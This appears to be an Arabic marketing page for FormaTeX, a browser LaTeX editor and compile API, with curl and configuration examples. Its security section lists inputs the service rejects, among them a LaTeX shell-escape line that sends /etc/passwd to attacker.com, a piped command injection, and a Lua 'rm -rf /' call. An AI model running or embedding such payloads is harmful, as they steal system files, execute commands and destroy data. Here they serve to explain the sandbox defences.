\features{FormaTeX}
محرر في المتصفح، مساعد ذكاء اصطناعي، تعاون في الوقت الفعلي، REST API، أربعة محركات LaTeX، تكامل MCP — كل ميزة مبنية للمطورين والكتّاب الذين يحتاجون LaTeX بدون عناء البنية التحتية.
\section{المنصة}
المحرر · الذكاء الاصطناعي · التعاون · المشاريع · القوالب · خطافات الويب · GitHub
\feature{editor}
بيئة تطوير متكاملة. في المتصفح. بلا تثبيت.
يوفّر FormaTeX بيئة تطوير LaTeX كاملة تعمل بالكامل داخل المتصفح. CodeMirror 6 مع تلوين صيغة LaTeX، ومعاينة PDF في لوحة قابلة لتغيير الحجم، ومستكشف لملفات المشروع، ولوحة مخطط، وقائمة رموز، وخريطة مصغّرة، وسجل تجميع كامل مع قائمة أخطاء محلَّلة. ارفع الصور وملفات .bib وملفات الأصناف المخصصة. الحفظ التلقائي يعمل في الخلفية: إغلاق التبويب لا يُضيّع شيئاً.
Explorer
PDF Preview
\feature{ai}
أصلِح واشرح وولّد وحاور — بسياق المشروع كاملاً.
أربعة أوضاع للذكاء الاصطناعي مدمجة في المحرر. «إصلاح» يحلّل سجل الأخطاء وينتج LaTeX مصحَّحاً. «شرح» يترجم أخطاء المترجم إلى لغة واضحة. «توليد» يكتب LaTeX من وصف نصي. «محادثة» تمنحك مساعداً حوارياً يصل إلى كل ملف في مشروعك. الذكاء الاصطناعي يرى مصدرك الفعلي — لا مقتطفاً تلصقه.
! Error on line 47
Undefined control sequence \mathrm
Add \usepackage{amsmath} to your preamble. \mathrm is defined there.
+ \usepackage{amsmath}
\feature{collaboration}
عدة أشخاص. مستند واحد. مباشرةً.
تعاون في الوقت الفعلي عبر WebSocket متاح منذ فبراير 2026. ادعُ المتعاونين بالبريد الإلكتروني، وعيّن لهم دور «محرر» أو «مشاهد»، وشاهد مؤشرات الحضور بصور رمزية ملونة مشتقة بشكل حتمي من UUID كل مستخدم. المشاهدون مقيَّدون على الخادم: لا يمكنهم بث أحداث التحرير مهما كانت حالة العميل. فتح المشروع نفسه في تبويبين يُغلق الاتصال الأقدم تلقائياً.
\feature{projects}
مساحات عمل دائمة متعددة الملفات مع سجل تعديلات كامل.
المشاريع مساحات عمل مسمّاة وملونة تحفظ كل ملفاتك على الخادم. أنشئ مشروعاً مرة واحدة، وأضف مصدر .tex ومراجع .bib وصوراً وأصنافاً مخصصة — وتبقى كلها متاحة عبر الجلسات وعمليات التجميع. كل حفظ وكل حذف يُسجَّل كلقطة في سجل الملفات: جدول زمني على طريقة git log يُظهر ما الذي تغيّر ومتى ومن أجرى كل تعديل.
Projects
IEEE Paper 2026
PhD Thesis — Ch.4
CV / Resume
3 of 5 projects · Free plan
File History
IEEE Paper 2026
Today · 3 changes
sections/intro.tex
refs.bib
fig1.png
\feature{templates}
أرسل JSON. استلم PDF. بلا حاجة إلى معرفة LaTeX.
احفظ مستند LaTeX مرة واحدة كقالب، وحدّد القيم الديناميكية بعلامات <<variable>>، ثم جمّعه انطلاقاً من JSON عادي. من يستدعون الخدمة لا يلمسون LaTeX أبداً: يرسلون (POST) كائن JSON بقيم المتغيرات ويستلمون PDF. تدعم القوالب موارد مرفوعة (شعارات وملفات .bib و.cls)، ويمكن نسخها من مكتبة القوالب، وتُجمَّع بأي مفتاح API.
Variables
\feature{webhooks}
يصل الخبر إلى خادمك لحظة اكتمال المهمة.
سجّل عنواناً واشترك في أحداث التجميع والحصة والخطة. يرسل FormaTeX طلب POST موقّعاً إلى نقطتك الطرفية مع كل حدث. كل إرسال موقّع بـ HMAC-SHA256 بسرّ خطاف الويب الخاص بك: تحقق من ترويسة X-FormaTeX-Signature قبل المعالجة. تُعاد محاولة الإرسالات الفاشلة تلقائياً حتى 5 مرات مع تباعد أسّي. تعرض لوحة التحكم نسبة النجاح لكل خطاف وسجل الإرسال الكامل بأرقام المحاولات وزر اختبار.
\feature{github}
ادفع مشروعك إلى GitHub. اسحب من أي مستودع.
اربط أي مشروع FormaTeX بمستودع GitHub وأبقِ الاثنين متزامنين. ادفع مصدر LaTeX وملفات .bib والموارد إلى فرع بنقرة واحدة — أو فعّل دفعاً تلقائياً بعد كل تجميع ناجح. اسحب التغييرات من GitHub لاستعادة إصدار سابق أو لاستقبال نسخة متعاون جديد. يعمل مع المستودعات العامة والخاصة. متاح في خطتي Max وEnterprise.
\feature{overleaf-import}
انقل مشاريعك الحالية بنقرة واحدة.
هل أنت على Overleaf؟ صدّر مشروعك بصيغة zip (Menu ← Download ← Source) وأسقطه في FormaTeX. تُستخرج شجرة ملفاتك كاملة — مصدر .tex ومراجع .bib والصور وملفات الأصناف المخصصة والمجلدات الفرعية — وتُفحص وتُحفظ تلقائياً كمشروع جديد. يُكتشف ملف .tex الجذر ويُفتح فوراً. لا نسخ يدوي للملفات ولا إعادة تنسيق ولا احتكاك.
# 1. Export from Overleaf
# Menu → Download → Source → my-thesis.zip
# 2. Import via the Projects dashboard
# Click "Import from Overleaf" → drop the zip → done
# 3. Or use the API directly
curl -X POST https://api.formatex.io/api/v1/users/me/projects/import \
-H "Authorization: Bearer <jwt>" \
-F "[email protected]"
# Response
{
"project": {
"id": "proj_7f2a...",
"name": "my-thesis",
"color": "amber"
},
"main_file": "main.tex"
}\section{API والتجميع}
REST · المحركات · غير متزامن / بث / ذكي · عرض المعادلات · الأمان
\feature{rest-api}
أرسل LaTeX. استلم PDF. نقطة طرفية واحدة.
كامل واجهة التجميع في FormaTeX نقطة طرفية واحدة بطلب POST. لا حاجة إلى SDK ولا طقوس مصادقة. أرسل JSON يحوي مصدر LaTeX والمحرك الذي تفضّله، واستلم PDF ثنائياً في متن الاستجابة. تتضمن كل استجابة في ترويساتها زمن التجميع والمحرك المستخدم وحصتك المتبقية. تعمل بالطريقة نفسها من curl أو JavaScript أو Python أو Go أو أي عميل HTTP.
curl -X POST https://api.formatex.io/api/v1/compile \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-d '{
"latex": "\\documentclass{article}\\begin{document}Hello\\end{document}",
"engine": "pdflatex"
}' \
--output document.pdf
# Response headers:
# HTTP/1.1 200 OK
# Content-Type: application/pdf
# X-Engine: pdflatex
# X-Compile-Duration-Ms: 94
# X-Compilations-Used: 42
# X-Compilations-Limit: 500\feature{engines}
الأداة المناسبة لكل نوع من المستندات.
pdfLaTeX لأقصى سرعة وتوافق مع الحزم. XeLaTeX لخطوط النظام (TTF/OTF) وUnicode. LuaLaTeX لبرمجة Lua وتوليد المحتوى برمجياً. latexmk للتجميع التلقائي متعدد التمريرات — المراجع وفهرس المحتويات والإحالات كلها تُحَلّ في طلب واحد. اختر لكل طلب بمعامل JSON واحد. تعمل جميع المحركات على التثبيت نفسه من TeX Live.
المعيار. الأسرع. أفضل توافق.
إخراج PDF مباشر · خطوط Type 1 · أوسع دعم للحزم
خطوط النظام. يونيكود أصلي.
TTF / OTF · نص من اليمين إلى اليسار · ميزات OpenType
برمجة Lua كاملة داخل LaTeX.
محتوى برمجي · الأقوى · الأبطأ
تمريرات متعددة تلقائية. يحل كل شيء.
المراجع · الفهرس · الإحالات المرجعية · إعادة محاولة تلقائية
\feature{async}
حاجب أو في الخلفية أو ببث مباشر أو ذكي أو متعدد الملفات. اختر وضعك.
خمسة أوضاع تجميع لكل حالة استخدام. «متزامن» يعيد PDF فوراً في الاستجابة — بلا أي إعداد. «غير متزامن» يضع المهمة في الطابور ويعيد معرّف مهمة فوراً — بلا اتصال مفتوح، ومثالي لخطوط المعالجة الدفعية. «بث» يرسل سجل التنفيذ سطراً بسطر عبر SSE أثناء عمل المحرك — مثالي لواجهات التقدم المباشر. «التجميع الذكي» يقرأ مقدمة مستندك ويختار المحرك المناسب تلقائياً ويعيد المحاولة عند الإخفاق العابر. «تجميع ZIP» يقبل أرشيف مشروع كاملاً متعدد الملفات — أطروحة أو كتاب أو مجموعة سيرة ذاتية — ويعيد PDF المجمَّع في طلب واحد.
sync
حاجب · ملف PDF في الاستجابة
يُعاد ملف PDF في متن الاستجابة — رحلة واحدة ذهابًا وإيابًا
async
غير حاجب · استعلم عن النتيجة
تُحرَّر الاتصالات فورًا — استعلم عند الجاهزية
stream
SSE · سجل مباشر
[1/1] pdflatex -no-shell-escape main.tex
This is pdfTeX, Version 3.141592653
Output written on main.pdf (12 pages)
Compiled in 312ms ✓
ابنِ طرفية فورية في واجهتك
smart
اكتشاف تلقائي · إعادة محاولة عند الفشل
تحليل مقدمة المستند
\documentclass{article}→pdflatex\usepackage[fontspec]{...}→xelatex\directlua{...}→lualatexلا حاجة لإعداد المحرك — أرسل LaTeX فقط
\feature{security}
LaTeX قويّ وخطِر. نحن نحتويه.
يعمل كل تجميع في سياق تنفيذ معزول مع فرض -no-shell-escape، وقيود على إدخال/إخراج الملفات (openout_any=p وopenin_any=p)، ودون وصول شبكي صادر. يحجب تنقية المدخلات متجهات الهجوم المعروفة قبل بدء المحرك. لا يُكتب مصدر LaTeX في السجلات أبداً. تُحذف ملفات التجميع من القرص فور المعالجة. أما ملفات المشروع التي تختار حفظها فتُخزَّن بأمان في حسابك.
// These inputs are rejected before the engine starts:
// \write18{curl attacker.com/exfil?data=$(cat /etc/passwd)}
// \input{|"id > /tmp/pwned.txt"}
// \directlua{os.execute("rm -rf /")}
// Valid input compiles normally:
POST /api/v1/compile
{
"latex": "\\documentclass{article}\\begin{document}Safe.\\end{document}",
"engine": "pdflatex"
}
// HTTP/1.1 200 OK
// X-Compile-Duration-Ms: 88
// [source deleted from disk immediately]\feature{equation-render}
أي تعبير رياضي. PNG أو SVG. بلا مستند كامل.
أرسل تعبيراً رياضياً خاماً بصيغة LaTeX واستلم صورة PNG أو SVG حادّة — بلا مقدمة مستند ولا شيفرة زائدة. تغلّفه الواجهة تلقائياً في مستند مستقل، وتجمّعه بـ pdflatex، وتحوّله إلى الصيغة التي تفضّلها. الحزم amsmath وamssymb وamsfonts محمَّلة مسبقاً. منفصل عن حصة التجميع: عرض المعادلات لا يُحتسب أبداً ضمن حدك الشهري. مثالي لتطبيقات المحادثة ومنصات التعليم وأدوات التوثيق وأي مكان تُعرض فيه الرياضيات.
# PNG — binary response (save directly to file)
curl -X POST https://api.formatex.io/api/v1/render/equation \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-d '{"latex": "\\int_0^\\infty e^{-x^2} dx = \\frac{\\sqrt{\\pi}}{2}"}' \
--output equation.png
# SVG — display mode
curl -X POST https://api.formatex.io/api/v1/render/equation \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-d '{"latex": "\\nabla \\cdot \\mathbf{E} = \\frac{\\rho}{\\varepsilon_0}", "format": "svg", "display": true}' \
--output equation.svg
# JSON response with base64 + dimensions
curl -X POST https://api.formatex.io/api/v1/render/equation \
-H "X-API-Key: fex_a8k2mP9..." \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-d '{"latex": "E = mc^2", "dpi": 150}'
# → { "image": "<base64>", "format": "png", "width": 120, "height": 22 }\section{التكاملات}
MCP · مفاتيح API · تحليلات الاستخدام
\feature{mcp}
وكيلك الذكي يجمّع LaTeX أصلاً.
يوفّر FormaTeX خادم MCP من الدرجة الأولى. أضفه إلى Claude أو Claude Code أو Cursor أو VS Code أو Codex أو أي عميل متوافق مع MCP، ويحصل الذكاء الاصطناعي لديك على وصول مباشر إلى سلسلة تجميع LaTeX كاملة. جمّع المستندات، واملأ القوالب بالمتغيرات، وتحقق من الصيغة، أو اعرض المحركات المتاحة — كل ذلك من داخل محادثة مع الذكاء الاصطناعي. بلا تبديل للطرفيات ولا نسخ للملفات ولا انقطاع في السياق.
// claude_desktop_config.json (local stdio binary)
{
"mcpServers": {
"formatex": {
"command": "formatex-mcp",
"env": {
"FORMATEX_API_KEY": "fex_a8k2mP9..."
}
}
}
}
// Claude can now:
// "Compile this document with XeLaTeX and give me the PDF link"
// "Fill the invoice template for Acme Corp, $12,500 due March 15"
// "Check my LaTeX for syntax errors before I compile"
// "Which engines are available on my plan?"\listfeatures{all}
\begin{document}
المحرر والـ API والذكاء الاصطناعي والتعاون في كل خطة. لا بطاقة ائتمان مطلوبة. ابدأ في 30 ثانية.